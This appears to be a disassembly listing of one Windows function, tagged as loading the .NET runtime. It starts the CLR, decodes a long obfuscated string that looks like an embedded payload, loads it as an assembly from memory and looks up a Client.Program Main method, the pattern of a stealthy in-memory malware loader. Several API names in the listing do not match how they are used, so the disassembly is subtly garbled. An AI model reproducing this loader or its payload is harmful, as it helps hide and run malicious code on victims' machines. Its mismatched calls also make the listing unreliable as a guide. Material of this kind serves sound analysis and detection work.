Function at 0x402420
Capabilities:
Load windows common language runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424040
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x43406c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x28], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x30]
push str.Client
mov dword [ebp - 0x30], 0
call fcn.00402120
mov dword [ebp - 0x24], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c]
push str.Client.Program
mov dword [ebp - 0x2c], 0
call fcn.00402120
mov dword [ebp - 0x20], 0
push str.mscoree.dll
mov byte [ebp - 4], 5
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x402603
push str.CLRCreateInstance
push eax
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4024ed
push str.Could_not_find_.NET_4.0_API_CLRCreateInstance
call fcn.00401100
add esp, 4
xor esi, esi
jmp 0x4025af
lea ecx, [ebp - 0x70]
push ecx
push 0x4317e4
push 0x431824
call eax
test eax, eax
jns 0x402516
push eax
push str.CLRCreateInstance_failed_w_hr_0x_08lx_n
call fcn.00401100
add esp, 8
xor esi, esi
jmp 0x4025af
mov eax, dword [ebp - 0x70]
lea edx, [ebp - 0x6c]
push edx
push 0x431834
push str.v4.0.30319
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jns 0x402543
push eax
push str.ICLRMetaHost::GetRuntime_failed_w_hr_0x_08lx_n
call fcn.00401100
add esp, 8
xor esi, esi
jmp 0x4025af
mov eax, dword [ebp - 0x6c]
lea edx, [ebp - 0x34]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
test eax, eax
jns 0x402566
push eax
push str.ICLRRuntimeInfo::IsLoadable_failed_w_hr_0x_08lx_n
call fcn.00401100
add esp, 8
xor esi, esi
jmp 0x4025af
cmp dword [ebp - 0x34], 0
jne 0x40257d
push str..NET_runtime_v2.0.50727_cannot_be_loaded_n
call fcn.00401100
add esp, 4
xor esi, esi
jmp 0x4025af
mov eax, dword [ebp - 0x6c]
lea edx, [ebp - 0x68]
push edx
push 0x4317f4
push 0x431814
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
test eax, eax
jns 0x4025aa
push eax
push str.ICLRRuntimeInfo::GetInterface_failed_w_hr_0x_08lx_n
call fcn.00401100
add esp, 8
xor esi, esi
jmp 0x4025af
mov esi, 1
mov ecx, dword [ebp - 0x70]
test ecx, ecx
je 0x4025c3
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 0x70], 0
mov ecx, dword [ebp - 0x6c]
test ecx, ecx
je 0x4025d7
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 0x6c], 0
test esi, esi
je 0x402603
mov ecx, dword [ebp - 0x68]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
test eax, eax
jns 0x40261d
push eax
push str.CLR_failed_to_start_w_hr_0x_08lx_n
call fcn.00401100
mov ecx, dword [ebp - 0x68]
add esp, 8
test ecx, ecx
jne 0x4029b9
jmp 0x402620
push str.Failed_to_create_the_runtime_host_n
call fcn.00401100
mov ecx, dword [ebp - 0x68]
add esp, 4
test ecx, ecx
jne 0x4029c6
jmp 0x4025de
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x402630
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov eax, dword [ecx]
push edx
push ecx
call dword [eax + 0x34]
test eax, eax
jns 0x402660
push eax
push str.RuntimeClrHost::GetCurrentAppDomainId_failed_w_hr_0x_08lx_n
call fcn.00401100
mov ecx, dword [ebp - 0x68]
add esp, 8
test ecx, ecx
jne 0x4029d3
jmp 0x402663
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x402673
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov eax, dword [ecx]
push edx
push ecx
call dword [eax + 0x34]
test eax, eax
jns 0x4026a1
push eax
push str.ICorRuntimeHost::GetDefaultDomain_failed_w_hr_0x_08lx_n
call fcn.00401100
mov ecx, dword [ebp - 0x68]
add esp, 8
test ecx, ecx
jne 0x4029e0
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x4029ed
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x4026b9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0
mov eax, dword [esi]
push ecx
push 0x431804
push esi
call dword [eax]
test eax, eax
jns 0x4026eb
push eax
push str.Failed_to_get_default_AppDomain_w_hr_0x_08lx_n
call fcn.00401100
mov ecx, dword [ebp - 0x68]
add esp, 8
test ecx, ecx
jne 0x4029f7
mov ecx, str.gicK997999939999__x996N999999999K99999999999999999999999999999999999999999999999N999991alN19k9RHEWNAg7uOiCObXsAnXr8RXr4kECHOWr2mYBAPUfAsYL1NVL1Ne38gECymUChlGKu5F999999999AKeK99g93G9BIKky19999999999I999N369KN995N9999599999999DjX9999N9999199999A9999N99999N99A9999999999399999999999N9K999N99999999E9KEh99A999A9999993999399999999A9999999999999997QC99Ag99999I999JxD999999999999999999999999999A99n999999999999999999999999999999999999999999999999999999999999999999999E999B999999999999999BB9993N99999999999999B2uUMOu9999F5X9999N9999c99999E999999999999999999B999C9lXRHsTn999JxD9999199999N999Bc999999999999999999A999A96RFqWC8Q99979999999A999B9999jN999999999999999999K999KN9999999999999999999999on99999993N9999B99h9_4p997oj999G99999K99AN9999999999999999999999999999999999999999999999999999999999999996_dDqWwtUXwjOpBFGBqZ379JiU3uO2PlYgoNIarntqA6N9m94n9999Z9PNT99955Ob3n99ABSZ9S9g99935Ob4999ABSZ9S9h99935Ob4K99ABSZ9S9i99935Ob4N99ABSZ9S9L99935Ob4n99ABSZ9S9M99935ObC999ABSZ9S9T99935ObCK99ABSZ9S9U99935ObCN99ABSVaOj999KcDN59Cn99ABSVaOn999KcDN59D999ABSVaOu999KcDN59DK99ABSc9PN99954m1G5QFBn99A9HmJn99BPSlXoN999c9CN99ABdr5Bp999Tv59999BNc999CIO19999S5n99AQSh99995BX999TvBN999BNS999CIKT9999h5DT999SciPPX9995X2u999SNE9E99CZ99955r2DN99AGpK9999aO1999emdK99BOf9DN99ABbaNx999KS4n99BQpJ99995G9999T2AK999BO9999C5qUsMPh9XD1K99935Cx999c9En99ABcX2K999TqXOEO9DAman99ARE5FNAnW1n999UmPK99APNN999CEING999S4999BPdVX2K999TqXOEO9DAman99AREXFNAnW1n999TqXOnr9DAman99ANFmQ999ArF999C5B9999Tc6RJF9995NBK999KcMNESCK99BNHmDn99BPOH999C571999ScMPNU99959N7SCN99BPOJ999CWoj999ScTOxNQhK9993quBu999KS2999BS9j99935QF6N99A9FmDn99BPSsaP1999KBWoj999Sc7NES2n99BPOT999C5S1VQhK9993qCK6fRBhT9O2Qubnq4nEa3CJfRBhL9OxTT85X5p1TQhK9993q4n6fRBhL9O2Qubnc7NESv999BPOT999C5P2tvK99BS9l99935qTB4Mun99939PNT99959NH86n99ABb59Rjm99939Rjn9993WS999ScPNEBZt9999KMLDun99939Rjn99939Rjm9993Wj999dABSP9Oi87999ABbL9PNT99959NH87N99A9E3ag3999Kc7NFw7N99AC8o999C5p1BZtE999emXK99APhGW1n999TcgNFw7N99AC8o999CFKHmY999APbI9Rjs9993W03999Tq9z4999C5QTBZt3999KGWS999Sc7NFw7K99AC_d99955rTB90ut99939NFw7n99AC889995agK999KcNNFwHN99AANwGK9999ESVn99ANETagT999KB5Cn999TcNNFwHN99AApwGK9999ESVn99ANEUagT999KB5Cn999TcDNESX999APbf9NI7V9999Muy99939Ok8HN99ABbf9NI7qK999Muy99939Oo8HN99ABbB9NH8HK99A9EaB0uz99935qEB5D9999Tq90ut9993ACA999C5qTB5D9999Tq90ut9993ACbmY999APbL9POd999C9Oe8HK99A9EMagT999KcJNEGagh999KBCRuz99935RTBZth999KvAN999DEM9nAn5NFwHK99ACx199955qEBDMuz99939NI7W9999Muy99935qTBDnq8HN99A9EGQFX99948HK99ABbf9O28HN99A9EGQFT99948HK99ABSZ9PPB999C5PEB9sPA999C5O1B5DX999TcENEG5DK999TcDNESZ999APSP9N7SOK99APSZ9Rjz99935QEBZtN999etMn99APb59RJF9995agN999KB5AN999ScINFm9939BkEB5FX999Tc7NENn9999C_l99955rSBE7j999AmwN99BNEG54n999TLDr8799955R1BE7S999AmwN99BNEG5Ju999SSL999AOTVWun999ScZN72G99999ENnn999C_l99955NENnN999C_l99955N999Ajn9NG499999K993eT5I919999Nv9799BNh9995AOYTBNU3K99ABNi99957lhS9n99AQSC99994PNL99959BNz999CINT9999L5AT999bG999ABNM9995IKh9999SFN99AR1399935AX999S2AK999BNp999CaNx999KS4n99BQpJ99995G9999T2AK999BN_999C5GK999WYAN999BWY9999999S3N99AQS599995A1999TSCn99AkuC9999Fku99999EENg999S4999BPmh99999en999997nANpn9C9K999K99rN9Ujn9C9K999ejn9N9k9K999N993fNU9995aNX999KSCN99BrxW9995N9X999eAn99ADH6999CN9u999eGK99AD1A9993Wu1999V99K99AD1H9993aNE999emgN99AS9B9993aNu999e9n99AC8I999CN97999eGK99AD139993Wu1999V9A999AD1H9993aNN999emgN99AS9E9993aNu999eGN99AC8I999CN91999eGK99AD179993Wu1999V9G999AD1H9993aNx999emgN99AS9J9993aNu999e3N99AC8I999CNAE999KS6K99AS9K9993aNu999eBN99AC8I999CN9S999eGK99AD1F9993Wu1999TSCN99BR7X9995N9j999KSA999ANdYB9999BTLBku99999APS999AAD99999999999999Q9K99En3999N9999A999ACt939439999B999eaNj999emDK99BrxZ9995YBx9993SCK99BR1D9993Wox999SShn99AREA99An5B9999bBN99ABNV9995Ws3999S50KN9999r4NdY999999Tc99999e99999999ADen9E7K999e7n9KBY999999999DEJ99AnN93999esnN99XE9B9993XbuA9DB99n99ADFK9NAnN9K999es9n79XE949993XOXG9DB9AN99ADEU9nAnN9X999esXn79XE9E9993XPT39DB9BK99AD5A4NAnN9S999esHA19XE979993XlXZ9DB9GN99AD5VDnAnN9x999KhNA9999esgf99XE9e9993Xq3N9DB93N99ABS9999W79X9xKE999799A3T4ootEN99BPhN97N99CxQ9995Ff99s999WsK999SSAn99AR1I9993XNKO9D9SFK99BQRQ9999aNE999KMQgp9993q4OxjRLxr9995XsX999b9N99AAZHIK999fhLDssYWsT999cIVLxS9995rNb9K99AAZHIK999fhLDssYWsT999btFn99
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402705
sub ecx, edx
push ecx
push str.gicK997999939999__x996N999999999K99999999999999999999999999999999999999999999999N999991alN19k9RHEWNAg7uOiCObXsAnXr8RXr4kECHOWr2mYBAPUfAsYL1NVL1Ne38gECymUChlGKu5F999999999AKeK99g93G9BIKky19999999999I999N369KN995N9999599999999DjX9999N9999199999A9999N99999N99A9999999999399999999999N9K999N99999999E9KEh99A999A9999993999399999999A9999999999999997QC99Ag99999I999JxD999999999999999999999999999A99n999999999999999999999999999999999999999999999999999999999999999999999E999B999999999999999BB9993N99999999999999B2uUMOu9999F5X9999N9999c99999E999999999999999999B999C9lXRHsTn999JxD9999199999N999Bc999999999999999999A999A96RFqWC8Q99979999999A999B9999jN999999999999999999K999KN9999999999999999999999on99999993N9999B99h9_4p997oj999G99999K99AN9999999999999999999999999999999999999999999999999999999999999996_dDqWwtUXwjOpBFGBqZ379JiU3uO2PlYgoNIarntqA6N9m94n9999Z9PNT99955Ob3n99ABSZ9S9g99935Ob4999ABSZ9S9h99935Ob4K99ABSZ9S9i99935Ob4N99ABSZ9S9L99935Ob4n99ABSZ9S9M99935ObC999ABSZ9S9T99935ObCK99ABSZ9S9U99935ObCN99ABSVaOj999KcDN59Cn99ABSVaOn999KcDN59D999ABSVaOu999KcDN59DK99ABSc9PN99954m1G5QFBn99A9HmJn99BPSlXoN999c9CN99ABdr5Bp999Tv59999BNc999CIO19999S5n99AQSh99995BX999TvBN999BNS999CIKT9999h5DT999SciPPX9995X2u999SNE9E99CZ99955r2DN99AGpK9999aO1999emdK99BOf9DN99ABbaNx999KS4n99BQpJ99995G9999T2AK999BO9999C5qUsMPh9XD1K99935Cx999c9En99ABcX2K999TqXOEO9DAman99ARE5FNAnW1n999UmPK99APNN999CEING999S4999BPdVX2K999TqXOEO9DAman99AREXFNAnW1n999TqXOnr9DAman99ANFmQ999ArF999C5B9999Tc6RJF9995NBK999KcMNESCK99BNHmDn99BPOH999C571999ScMPNU99959N7SCN99BPOJ999CWoj999ScTOxNQhK9993quBu999KS2999BS9j99935QF6N99A9FmDn99BPSsaP1999KBWoj999Sc7NES2n99BPOT999C5S1VQhK9993qCK6fRBhT9O2Qubnq4nEa3CJfRBhL9OxTT85X5p1TQhK9993q4n6fRBhL9O2Qubnc7NESv999BPOT999C5P2tvK99BS9l99935qTB4Mun99939PNT99959NH86n99ABb59Rjm99939Rjn9993WS999ScPNEBZt9999KMLDun99939Rjn99939Rjm9993Wj999dABSP9Oi87999ABbL9PNT99959NH87N99A9E3ag3999Kc7NFw7N99AC8o999C5p1BZtE999emXK99APhGW1n999TcgNFw7N99AC8o999CFKHmY999APbI9Rjs9993W03999Tq9z4999C5QTBZt3999KGWS999Sc7NFw7K99AC_d99955rTB90ut99939NFw7n99AC889995agK999KcNNFwHN99AANwGK9999ESVn99ANETagT999KB5Cn999TcNNFwHN99AApwGK9999ESVn99ANEUagT999KB5Cn999TcDNESX999APbf9NI7V9999Muy99939Ok8HN99ABbf9NI7qK999Muy99939Oo8HN99ABbB9NH8HK99A9EaB0uz99935qEB5D9999Tq90ut9993ACA999C5qTB5D9999Tq90ut9993ACbmY999APbL9POd999C9Oe8HK99A9EMagT999KcJNEGagh999KBCRuz99935RTBZth999KvAN999DEM9nAn5NFwHK99ACx199955qEBDMuz99939NI7W9999Muy99935qTBDnq8HN99A9EGQFX99948HK99ABbf9O28HN99A9EGQFT99948HK99ABSZ9PPB999C5PEB9sPA999C5O1B5DX999TcENEG5DK999TcDNESZ999APSP9N7SOK99APSZ9Rjz99935QEBZtN999etMn99APb59RJF9995agN999KB5AN999ScINFm9939BkEB5FX999Tc7NENn9999C_l99955rSBE7j999AmwN99BNEG54n999TLDr8799955R1BE7S999AmwN99BNEG5Ju999SSL999AOTVWun999ScZN72G99999ENnn999C_l99955NENnN999C_l99955N999Ajn9NG499999K993eT5I919999Nv9799BNh9995AOYTBNU3K99ABNi99957lhS9n99AQSC99994PNL99959BNz999CINT9999L5AT999bG999ABNM9995IKh9999SFN99AR1399935AX999S2AK999BNp999CaNx999KS4n99BQpJ99995G9999T2AK999BN_999C5GK999WYAN999BWY9999999S3N99AQS599995A1999TSCn99AkuC9999Fku99999EENg999S4999BPmh99999en999997nANpn9C9K999K99rN9Ujn9C9K999ejn9N9k9K999N993fNU9995aNX999KSCN99BrxW9995N9X999eAn99ADH6999CN9u999eGK99AD1A9993Wu1999V99K99AD1H9993aNE999emgN99AS9B9993aNu999e9n99AC8I999CN97999eGK99AD139993Wu1999V9A999AD1H9993aNN999emgN99AS9E9993aNu999eGN99AC8I999CN91999eGK99AD179993Wu1999V9G999AD1H9993aNx999emgN99AS9J9993aNu999e3N99AC8I999CNAE999KS6K99AS9K9993aNu999eBN99AC8I999CN9S999eGK99AD1F9993Wu1999TSCN99BR7X9995N9j999KSA999ANdYB9999BTLBku99999APS999AAD99999999999999Q9K99En3999N9999A999ACt939439999B999eaNj999emDK99BrxZ9995YBx9993SCK99BR1D9993Wox999SShn99AREA99An5B9999bBN99ABNV9995Ws3999S50KN9999r4NdY999999Tc99999e99999999ADen9E7K999e7n9KBY999999999DEJ99AnN93999esnN99XE9B9993XbuA9DB99n99ADFK9NAnN9K999es9n79XE949993XOXG9DB9AN99ADEU9nAnN9X999esXn79XE9E9993XPT39DB9BK99AD5A4NAnN9S999esHA19XE979993XlXZ9DB9GN99AD5VDnAnN9x999KhNA9999esgf99XE9e9993Xq3N9DB93N99ABS9999W79X9xKE999799A3T4ootEN99BPhN97N99CxQ9995Ff99s999WsK999SSAn99AR1I9993XNKO9D9SFK99BQRQ9999aNE999KMQgp9993q4OxjRLxr9995XsX999b9N99AAZHIK999fhLDssYWsT999cIVLxS9995rNb9K99AAZHIK999fhLDssYWsT999btFn99
lea ecx, [ebp - 0x64]
call fcn.00402b20
lea edx, [ebp - 0x64]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x4c]
call fcn.00401e50
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 7
push eax
push 1
push 0x11
mov dword [ebp - 0x18], 0xb400
mov dword [ebp - 0x14], 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov edi, eax
push edi
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnlock]
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
push 0xb400
cmovae ecx, dword [ebp - 0x4c]
push ecx
push dword [edi + 0xc]
call fcn.00406b80
add esp, 0xc
push edi
call dword [sym.imp.OLEAUT32.dll_SafeArrayAccessData]
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x402a04
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x40278f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0
mov eax, dword [esi]
push ecx
push edi
push esi
call dword [eax + 0xb4]
push str.Load_the_assembly_from_memory_n
mov esi, eax
call fcn.00401130
add esp, 4
test esi, esi
jns 0x4027d0
push esi
push str.Failed_to_load_the_assembly_w_hr_0x_08lx_n
call fcn.00401100
mov ecx, dword [ebp - 0x68]
add esp, 8
test ecx, ecx
jne 0x402a0e
mov edi, dword [ebp - 0x24]
test edi, edi
je 0x402a1b
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x4027e8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x20], 0
test esi, esi
je 0x4027fa
mov ecx, dword [esi]
jmp 0x4027fc
xor ecx, ecx
mov eax, dword [edi]
lea edx, [ebp - 0x20]
push edx
push ecx
push edi
call dword [eax + 0x44]
mov dword [ebp - 0x78], eax
test eax, eax
jns 0x402827
push eax
push str.Failed_to_get_the_Type_interface_w_hr_0x_08lx_n
call fcn.00401100
mov ecx, dword [ebp - 0x68]
add esp, 8
test ecx, ecx
jne 0x402a25
mov eax, dword [ebp - 0x20]
push ecx
mov ecx, esp
mov dword [ecx], eax
test eax, eax
je 0x402839
mov edi, dword [eax]
push eax
call dword [edi + 4]
xor edx, edx
mov ecx, str.Main
call fcn.00402240
mov byte [ebp - 4], 6
add esp, 4
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x402880
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402876
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402a32
push edx
push ecx
call fcn.00405b80
add esp, 8
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
cmp edx, 0x10
jb 0x4028ca
mov ecx, dword [ebp - 0x64]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4028c0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402a37
push edx
push ecx
call fcn.00405b80
add esp, 8
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x4028db
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or edi, 0xffffffff
test esi, esi
je 0x402921
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x402921
mov eax, dword [esi]
test eax, eax
je 0x4028ff
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x402916
push eax
call fcn.004056b6
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00405b80
add esp, 8
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x402932
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [ebp - 0x30]
test esi, esi
je 0x402976
lock xadd dword [esi + 8], edi
dec edi
jne 0x402976
mov eax, dword [esi]
test eax, eax
je 0x402954
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x40296b
push eax
call fcn.004056b6
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00405b80
add esp, 8
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x402987
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40299b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004056a5
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push 0xffffffffffffffff
call fcn.0040a25a
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push 0xffffffffffffffff
call fcn.0040a25a
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push 0xffffffffffffffff
call fcn.0040a25a
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push 0xffffffffffffffff
call fcn.0040a25a
push 0x80004003
call fcn.00405540
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push 0xffffffffffffffff
call fcn.0040a25a
push 0x80004003
call fcn.00405540
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push 0xffffffffffffffff
call fcn.0040a25a
push 0x80004003
call fcn.00405540
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push 0xffffffffffffffff
call fcn.0040a25a
call fcn.0040e394
call fcn.0040e394
int3